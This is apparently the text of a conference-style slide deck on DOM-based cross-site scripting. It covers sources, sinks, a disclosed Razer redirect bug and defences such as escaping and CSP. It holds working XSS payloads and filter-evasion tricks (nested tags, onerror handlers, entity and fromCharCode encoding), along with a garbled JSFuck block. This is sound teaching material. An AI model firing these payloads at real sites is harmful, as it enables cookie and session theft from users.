DOM XSS

Me

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The Goal of XSS

- To execute JavaScript in the context of a website you do not control
- ...usually in the context of a browser you don't control either.





Same Origin Policy

- JavaScript on attacker.com cannot make requests to target.com by default
- target.com must specify a Cross Origin Resource Sharing policy to allow it
- An XSS vulnerability on target.com means that limitation is bypassed

S Failed to load <u>https://example.com/api</u>: No 'Access-Control-Allow-Origin' <u>xhr.php:1</u> header is present on the requested resource. Origin '<u>http://tomnomnom.uk</u>' is therefore not allowed access. The response had HTTP status code 404.

Reflected XSS

• User input from the request is outputted in a page *unescaped*

GET /?user=<script>alert(document.cookie)</script> HTTP/1.1

• • •

<div>User: <script>alert(document.cookie)</script></div>

Stored XSS

• User input from a previous request is outputted in a page unescaped

```
POST /content HTTP/1.1
```

content=<script>alert(document.cookie)</script>

```
...time passes...
```

```
GET /content HTTP/1.1
```

```
• • •
```

<div><script>alert(document.cookie)</script></div>

Anything They Can Do, Script Can Do Better

- It's not just about stealing cookies
- Even if all cookies are *httpOnly* you've still bypassed Same Origin Policy

```
<script>
   var r = new XMLHttpRequest();
   r.addEventListener('load', function(){
        alert(this.responseText);
   });
   r.open('GET', 'https://example.com/api');
   r.send();
</script>
```

The DOM (Document Object Model)

- W3C specification for HTML (and XML)
- A model representing the structure of a document
- Allows scripts (usually JavaScript) to manipulate the document
- The document is represented by a tree of *nodes*
 - The topmost node is called *document*
 - Nodes have *children*
- Hated by web developers everywhere

DOM XSS

- User requests an attacker-supplied URL
- The response *does not contain the attacker's script**
- The user's web browser still executes the attacker's script
- How?!



*Probably (:

How

- Client-side JavaScript accesses and manipulates the DOM
- User input is taken *directly* from the browser
- That user input is mishandled in some way
- The server might never even see the payload
 - E.g. in the case of the page 'fragment'
 - This makes it extra hard to block attacks with WAFs etc

Manipulating the DOM

document.body.innerHTML = "<h1>OHAI!</h1>";

var b = document.getElementById('clickme'); b.addEventListener('click', () => alert('lol ur hacked'));

An Example

<script>
 var name = document.location.hash.substr(1);
 document.write("Hello, " + name);
</script>

(i) tomnomnom.u	k/domxss/# <script>alert(document.cookie);</script>		☆
	tomnomnom.uk says: secret=2oiy6k3j4hm3hyoiy324y	ок	

Sources (non-exhaustive)

- The path
 - document.location.pathname (/users)
- The query string
 - document.location.search (/users?user=123&action=like)
- The page fragment
 - o document.location.hash (/about#contact)
- Attacker-controlled cookies
 - document.cookie
- Attacker-controlled local storage
 - window.localStorage
- Reflected (but escaped!) input in variables
 - o var user = "user\"name";
- postMessage events
 - o window.addEventListener('message', e => {});

Sinks (also non-exhaustive)

- document.write(x) / document.writeln(x)
- element.innerHTML = x
- document.location.href = x
- eval(x)
- setTimeout(x)
- setInterval(x)
- \$(x) (jQuery)
- script.src = x
- a.href = x (requires user interaction)
- iframe.src = x
- window.open(x)

Payload Types

- HTML-based (inject into the DOM)
 - o <script>alert(document.cookie)</script>
 - >
- URI-based (inject into src, href attributes etc)
 - o javascript:alert(document.cookie)
 - o data:text/html;<script>alert(document.cookie)</script>
- Pure-JS (inject into execution sinks; e.g. eval())
 - o alert(document.cookie):)
- Funky stuff!
 - https://gist.github.com/tomnomnom/14a918f707ef0685fdebd90545580309

Another Example

```
<iframe id=target></iframe>
```

```
<script>
    var target = document.getElementById('target');
    target.src = document.location.search.match(/page=([^&]+)/)[1];
</script>
```

An embedded page on this webpage says:	×
secret=2oiy6k3j4hm3hyoiy324y	
ок	1

A Real Example

👼 🕒 Razer ID - Loading ×				
← → C • Secure https://zvault.razerzone.com/redir.html?	redir=javascript:alert(document.domain)	☆	🛡 📴 🖉	⊧ ÷
	zvault.razerzone.com says: zvault.razerzone.com	×		

The Vulnerable Code

```
var redirectUrl = getUrlParameter('redir');
if (isCrossOriginFrame()) {
   window.location.href = redirectUrl;
} else {
   window.parent.location.href = redirectUrl;
}
```

https://zvault.razerzone.com/redir.html?redir=javascript:alert(document.domain)

https://hackerone.com/reports/266737

Basic Filter Evasion

<script>

```
var name = document.location.hash.substr(1);
document.write("Hello, " + name.replace(/<script/gi, ""));
</script>
```

```
Basic Filter Evasion
```

```
<script>
```

```
var name = document.location.hash.substr(1);
document.write("Hello, " + name.replace(/<script/gi, ""));
</script>
```

Easily defeated!

/path#<scr<scriptipt>alert(document.cookie);</script>
/path#

More Filter Evasion

```
<script>
    var name = document.location.hash.substr(1);
    document.write("<h1>Hello, " + name.replace(/<\/?[^>]+>/gi, "") + "</h1>");
</script>
```

```
More Filter Evasion
```

```
<script>
    var name = document.location.hash.substr(1);
    document.write("<h1>Hello, " + name.replace(/<\/?[^>]+>/gi, "") + "</h1>");
</script>
```

/path#<img src=x onerror=alert(document.cookie) alt=</pre>

```
▼<h1>
    " Hello, "
    <img src="<u>x</u>" onerror="alert(document.cookie)" alt="</h1">
    </h1>
```

HTML Entities

/path#<svg><script>alert(d ;ocument.co ;okie)</script></svg>

```
"Hello, "
▼ <svg>
      <script>alert(document.cookie)</script>
      </svg>
```

Avoiding Quotes

/?page=javascript:eval(String.fromCharCode(97,108,101,114,116,40,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41,59))

String.fromCharCode(97,108,101,114,116,40,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41,59)
 "alert(document.cookie);"

Avoiding Braces

setTimeout`alert\u0028document.cookie\u0029`;

=>

alert(document.cookie)

https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Template literals

Resources

- <u>www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet</u>
- github.com/wisec/domxsswiki/wiki
- github.com/cure53/browser-sec-whitepaper
- prompt.ml (challenge yourself!)
- www.jsfuck.com
- tomnomnom.uk/jspayload



 JSFuck is an esoteric and educational programming style based on the atomic parts of JavaScript. It uses only six different characters to write and execute code.

It does not depend on a browser, so you can even run it on Node.js.

Use the form below to convert your own script. Uncheck "eval source" to get back a plain string.

alert(1) Encod

Encode 🕑 Eval Source

[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!!])[]]+([![]]+[][]])[+!+[]+[+[]])+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!!)]+(!![]+[])[+[]]+(!!)]+(!!])[+[]]+(!!)[+[]]+(!!)[+[]]+(!!)[+[]]+(!!)[+[]]+(!!)[+[]]+(!!)[+[]])[+[]]+(!!)[+[]]+(!!)[+[]])[+[]]+(!!)[+[]]+(!!)[+[]])[+[]]+(!!)[+[]])[+[]]+(!!)[+[]])[+[]]+(!!)[+[]])[+[]]+(!!)[+[]])[+[]]+(!!)[+[]])[+[]]+(!!)[+[]])[+[]]+(!!)[+[]])[+(!!)[]+(!)[]+(!)[])[+(!)])[+(!)]+(!)[]+(!)[])[+(!)])[+(!)]]+(!)[]+(!)[]]+(!)[!)[]]+(!)[]]+(!)[]]+(!)[]]+(!)[]]+(!)[]]+(!)[]]+(!)[]]+(!)[]]+[(![]+[])[+[]]+([![]]+[][[]))[+!+[]+[]+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]])[+!+[]+[+[]]]+([])[+!+[]+[+[]]]+([])[+!+[]])[+!+[]+[+[]]]+([])[+!+[]])[+!+[]]]+([])[+!+[]])[+!+[]]]+([])[+!+[]])[+!+[]]]+([])[+!+[]])[+!+[]]]+([])[+!+[]])[+!+[]]]+([])[+!+[]])[+!+[]]]+([])[+!+[]])[+!+[]]]+([])[+!+[]])[+!+[]]]+([])[+!+[]])[+!+[]]]+([])[+!+[]])[+!+[]]]+([])[+!+[]])[+!+[]]])[+!+[]]]+([])[+!+[]])[+!+[]]])[+!+[]]]+([])[+!+[]])[+!+[]]])[+!+[]]]+([])[+!+[]])[+!+[]]])[+!+[]]])[+!+[]]]+([])[+!+[]])[+!+[]]])[+!+[]]])[+!+[]]])[+!+[]]])[+!+[]]]+([])[+!+[]])[+!+[]]])[+!([]])[+!])[+!([]])[+!])[+!([]])[+!([]])[+!([]])[+!([]])])[+!([]])[+!([]])[+!([]])[+!([]])[+!([])])(+!([]))[+!([])])(+!([]))[+!([])])(+!([]))(!([]))(+!([]))(!([]))(!([]))(!([]))(+!([]))(!([]))(!([]))((!([]))(!([]))(!([]))(!([]))(!([]))(!([])[[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+])[+!+][]]+([][]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+([![]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([!])+([!))+([!])+([!))+((!))+([!))+((!)))+([!))+([!))+([!))+([!))+([!))+([!))+[]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]])[!+[]+!+[]+[+[]])()

Defence?

- Don't accept user input where possible!
- Whitelist values where possible
- Escape output using an appropriate mechanism
- A good Content Security Policy can help
 - o <u>https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP</u>



Finding postMessage Issues

- Demo because I CBA making more slides
- <u>https://public-firing-range.appspot.com/</u>
- https://github.com/tomnom/hacks/tree/master/geteventlisteners

Questions?